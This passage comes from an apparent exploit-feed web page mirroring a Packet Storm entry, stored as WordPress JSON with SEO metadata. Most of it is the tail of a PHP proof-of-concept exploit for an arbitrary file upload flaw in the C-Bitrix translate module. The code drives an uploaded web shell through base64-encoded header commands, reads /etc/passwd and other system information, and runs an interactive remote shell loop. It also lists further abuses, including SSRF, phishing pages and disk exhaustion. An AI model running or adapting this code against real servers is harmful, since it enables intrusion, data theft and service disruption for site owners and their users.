execution possible! Full RCE available\\\\n\\&#8221;;\\n            print \\&#8221;[\u2713] Execution identity: \\&#8221; . $test_output . \\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ Gather system information\\n            print \\&#8221;[*] Collecting system information&#8230;\\\\n\\&#8221;;\\n            get_system_info($ch, $url, $upload_path);\\n            \\n            \/\/ Start interactive access\\n            interactive_shell($ch, $url, $upload_path);\\n            \\n        } else {\\n            print \\&#8221;[!] Unexpected response &#8211; execution may be limited\\\\n\\&#8221;;\\n            print \\&#8221;[*] Response: \\&#8221; . htmlspecialchars(substr($test_output, 0, 200)) . \\&#8221;\\\\n\\&#8221;;\\n            print \\&#8221;[!] Vulnerability exists but RCE may be limited\\\\n\\&#8221;;\\n            suggest_alternative_exploits();\\n        }\\n    } else {\\n        print \\&#8221;[-] PHP execution not possible directly in this path\\\\n\\&#8221;;\\n        print \\&#8221;[!] Vulnerability: Arbitrary File Upload confirmed\\\\n\\&#8221;;\\n        print \\&#8221;[!] But full RCE not possible due to server configuration\\\\n\\&#8221;;\\n        suggest_alternative_exploits();\\n    }\\n    \\n    \/\/ Final cleanup\\n    exit_cleanup($ch);\\n    \\n    \/\/ ============================================================================\\n    \/\/ Helper Functions\\n    \/\/ ============================================================================\\n    \\n    \/**\\n     * Clean up temporary files\\n     *\/\\n    function cleanup_files($files) {\\n        foreach ($files as $file) {\\n            if (file_exists($file)) {\\n                @unlink($file);\\n            }\\n        }\\n    }\\n    \\n    \/**\\n     * Clean exit with resource cleanup\\n     *\/\\n    function exit_cleanup($ch) {\\n        global $url;\\n        \\n        print \\&#8221;\\\\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        print \\&#8221;[*] Cleaning up resources&#8230;\\\\n\\&#8221;;\\n        \\n        if (defined(&#8216;COOKIE_FILE&#8217;) \\u0026\\u0026 file_exists(COOKIE_FILE)) {\\n            @unlink(COOKIE_FILE);\\n            print \\&#8221;[*] Deleted cookie file\\\\n\\&#8221;;\\n        }\\n        \\n        if ($ch) {\\n            curl_close($ch);\\n            print \\&#8221;[*] Closed cURL connection\\\\n\\&#8221;;\\n        }\\n        \\n        print \\&#8221;[*] Process completed at: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n        print \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        exit(0);\\n    }\\n    \\n    \/**\\n     * Gather system information\\n     *\/\\n    function get_system_info($ch, $base_url, $upload_path) {\\n        $commands = [\\n            &#8216;uname -a&#8217; =\\u003e &#8216;System Information&#8217;,\\n            &#8216;pwd&#8217; =\\u003e &#8216;Current Directory&#8217;,\\n            &#8216;php -v | head -2&#8217; =\\u003e &#8216;PHP Version&#8217;,\\n            &#8216;ls -la ..\/&#8217; =\\u003e &#8216;Directory Contents&#8217;,\\n            &#8216;cat \/etc\/passwd | head -10&#8217; =\\u003e &#8216;System Users (first 10)&#8217;\\n        ];\\n        \\n        print \\&#8221;\\\\n[+] System Information:\\\\n\\&#8221;;\\n        print \\&#8221;\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\\\n\\&#8221;;\\n        \\n        foreach ($commands as $cmd =\\u003e $desc) {\\n            curl_setopt($ch, CURLOPT_URL, $base_url . $upload_path . &#8216;\/shell.php&#8217;);\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8216;Cmd: &#8216; . base64_encode($cmd . &#8216; 2\\u003e\\u00261&#8217;)]);\\n            \\n            $response = curl_exec($ch);\\n            if (preg_match(&#8216;\/____(.*)____\/s&#8217;, $response, $match)) {\\n                $output = trim($match[1]);\\n                if (!empty($output)) {\\n                    print \\&#8221;[\\&#8221; . $desc . \\&#8221;]:\\\\n\\&#8221; . $output . \\&#8221;\\\\n\\&#8221;;\\n                    print \\&#8221;\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\\\n\\&#8221;;\\n                }\\n            }\\n            usleep(200000); \/\/ 200ms delay between commands\\n        }\\n    }\\n    \\n    \/**\\n     * Start interactive shell\\n     *\/\\n    function interactive_shell($ch, $base_url, $upload_path) {\\n        print \\&#8221;\\\\n[+] Starting interactive shell (type &#8216;exit&#8217; to quit)\\\\n\\&#8221;;\\n        print \\&#8221;[+] Type &#8216;help&#8217; for available commands\\\\n\\&#8221;;\\n        print \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        \\n        $shell_url = $base_url . $upload_path . &#8216;\/shell.php&#8217;;\\n        $history = [];\\n        $history_file = &#8216;.\/bitrix_shell_history_&#8217; . md5($base_url) . &#8216;.txt&#8217;;\\n        \\n        while (true) {\\n            print \\&#8221;\\\\nbitrix-shell$ \\&#8221;;\\n            \\n            \/\/ Read command\\n            $cmd = trim(fgets(STDIN));\\n            \\n            \/\/ Handle special commands\\n            if (empty($cmd)) {\\n                continue;\\n            }\\n            \\n            if (strtolower($cmd) === &#8216;exit&#8217; || strtolower($cmd) === &#8216;quit&#8217;) {\\n                print \\&#8221;[*] Exiting interactive mode\\\\n\\&#8221;;\\n                break;\\n            }\\n            \\n            if (strtolower($cmd) === &#8216;help&#8217;) {\\n                show_help();\\n                continue;\\n            }\\n            \\n            if (strtolower($cmd) === &#8216;clear&#8217; || strtolower($cmd) === &#8216;cls&#8217;) {\\n                system(&#8216;clear&#8217;);\\n                continue;\\n            }\\n            \\n            if (strtolower($cmd) === &#8216;history&#8217;) {\\n                show_history($history);\\n                continue;\\n            }\\n            \\n            if (strtolower(substr($cmd, 0, 3)) === &#8216;cd &#8216;) {\\n                print \\&#8221;[!] Warning: cd command won&#8217;t work in web shell\\\\n\\&#8221;;\\n                print \\&#8221;[!] Use pwd to see current directory\\\\n\\&#8221;;\\n                continue;\\n            }\\n            \\n            \/\/ Execute command\\n            $history[] = $cmd;\\n            file_put_contents($history_file, $cmd . PHP_EOL, FILE_APPEND);\\n            \\n            curl_setopt($ch, CURLOPT_URL, $shell_url);\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8216;Cmd: &#8216; . base64_encode($cmd . &#8216; 2\\u003e\\u00261&#8217;)]);\\n            \\n            $response = curl_exec($ch);\\n            \\n            if (curl_errno($ch)) {\\n                print \\&#8221;[-] Connection error: \\&#8221; . curl_error($ch) . \\&#8221;\\\\n\\&#8221;;\\n                continue;\\n            }\\n            \\n            if (preg_match(&#8216;\/____(.*)____\/s&#8217;, $response, $match)) {\\n                $output = $match[1];\\n                print $output;\\n                \\n                \/\/ Check if file still exists\\n                if (strpos($output, &#8216;No such file&#8217;) !== false \\u0026\\u0026 strpos($output, &#8216;shell.php&#8217;) !== false) {\\n                    print \\&#8221;\\\\n[-] Shell file deleted! Session terminated\\\\n\\&#8221;;\\n                    break;\\n                }\\n            } else {\\n                print \\&#8221;[-] No response from shell\\\\n\\&#8221;;\\n                \\n                \/\/ Test if file still exists\\n                curl_setopt($ch, CURLOPT_HTTPHEADER, []);\\n                $test = curl_exec($ch);\\n                \\n                if (strpos($test, &#8216;Bitrix Shell&#8217;) === false) {\\n                    print \\&#8221;[-] shell.php deleted or disabled\\\\n\\&#8221;;\\n                    break;\\n                }\\n            }\\n        }\\n        \\n        \/\/ Delete command history\\n        if (file_exists($history_file)) {\\n            @unlink($history_file);\\n        }\\n    }\\n    \\n    \/**\\n     * Show help commands\\n     *\/\\n    function show_help() {\\n        $help = \\u003c\\u003c\\u003cHELP\\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n                        Shell Command Help\\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    Basic Commands:\\n      help                    &#8211; Show this help\\n      exit, quit              &#8211; Exit shell\\n      clear, cls              &#8211; Clear screen\\n      history                 &#8211; Show command history\\n    \\n    System Commands:\\n      pwd                     &#8211; Show current directory\\n      ls, dir                 &#8211; List directory contents\\n      whoami                  &#8211; Show current user\\n      id                      &#8211; Show full user information\\n      uname -a                &#8211; Show system information\\n    \\n    File System Commands:\\n      cat \\u003cfile\\u003e              &#8211; Display file contents\\n      head \\u003cfile\\u003e             &#8211; Show first 10 lines of file\\n      tail \\u003cfile\\u003e             &#8211; Show last 10 lines of file\\n      find \/ -name \\u003cpattern\\u003e  &#8211; Search for files\\n    \\n    Network Commands:\\n      ifconfig, ip addr       &#8211; Show network interfaces\\n      netstat -tulpn          &#8211; Show open connections\\n      curl \\u003curl\\u003e              &#8211; Fetch URL content\\n    \\n    Information Commands:\\n      php -v                  &#8211; PHP version\\n      mysql &#8211;version         &#8211; MySQL version\\n      apache2 -v              &#8211; Apache version\\n    \\n    Warnings:\\n      &#8211; cd command won&#8217;t work in web shell\\n      &#8211; Some commands may be restricted by user permissions\\n      &#8211; Avoid commands that could disrupt the system\\n    \\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    HELP;\\n        \\n        print $help;\\n    }\\n    \\n    \/**\\n     * Show command history\\n     *\/\\n    function show_history($history) {\\n        if (empty($history)) {\\n            print \\&#8221;[*] No command history\\\\n\\&#8221;;\\n            return;\\n        }\\n        \\n        print \\&#8221;\\\\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        print \\&#8221;                    Command History\\\\n\\&#8221;;\\n        print \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n        \\n        foreach ($history as $index =\\u003e $cmd) {\\n            printf(\\&#8221;%3d. %s\\\\n\\&#8221;, $index + 1, $cmd);\\n        }\\n        \\n        print \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;;\\n    }\\n    \\n    \/**\\n     * Suggest alternative exploitation if RCE not possible\\n     *\/\\n    function suggest_alternative_exploits() {\\n        $alternatives = \\u003c\\u003c\\u003cALT\\n    \\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n                   Alternative Exploitation Methods\\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    Even without full RCE, file upload can be exploited for:\\n    \\n    1.  Information Disclosure:\\n       &#8211; Upload .txt files with code to gather system info\\n       &#8211; Access configuration files through the vulnerability\\n    \\n    2.  SSRF Attacks:\\n       &#8211; Upload .php files with internal network access code\\n       &#8211; Exploit access to internal services (databases, admin panels)\\n    \\n    3.  LFI Attacks:\\n       &#8211; If there&#8217;s a file inclusion vulnerability elsewhere\\n       &#8211; Upload file and include it via another vulnerability\\n    \\n    4.  Resource Exhaustion:\\n       &#8211; Repeatedly upload large files\\n       &#8211; Exhaust server disk space\\n    \\n    5.  Phishing Attacks:\\n       &#8211; Upload fake phishing pages within the same domain\\n       &#8211; Increase phishing attack credibility\\n    \\n    6.  Upload for Attack Chaining:\\n       &#8211; Upload preparatory files for other attacks\\n       &#8211; Use as repository for additional exploit files\\n    \\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n        Even with secure server config, file upload vuln remains dangerous!\\n    \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    ALT;\\n        \\n        print $alternatives;\\n    }\\n    \\n    \/\/ ============================================================================\\n    \/\/ Main Program Execution\\n    \/\/ ============================================================================\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212952&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212952\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:00:12&#8243;,&#8221;description&#8221;:&#8221;C\u2011Bitrix version 25.100.500 proof of concept exploit that demonstrates an arbitrary file upload vulnerability in the translate module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212952&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-67887&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-31875","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31875\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:00:12&#8243;,&#8221;description&#8221;:&#8221;C\u2011Bitrix version 25.100.500 proof of concept exploit that demonstrates an arbitrary file upload vulnerability in the translate module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212952&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-67887&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31875\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-18T10:44:54+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"20 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952\",\"datePublished\":\"2025-12-18T10:44:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875\"},\"wordCount\":3940,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31875#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875\",\"name\":\"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-18T10:44:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31875\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31875#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31875","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 C\u2011Bitrix 25.100.500 Translate Module Arbitrary File Upload_PACKETSTORM:212952 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-18T16:00:12&#8243;,&#8221;description&#8221;:&#8221;C\u2011Bitrix version 25.100.500 proof of concept exploit that demonstrates an arbitrary file upload vulnerability in the translate 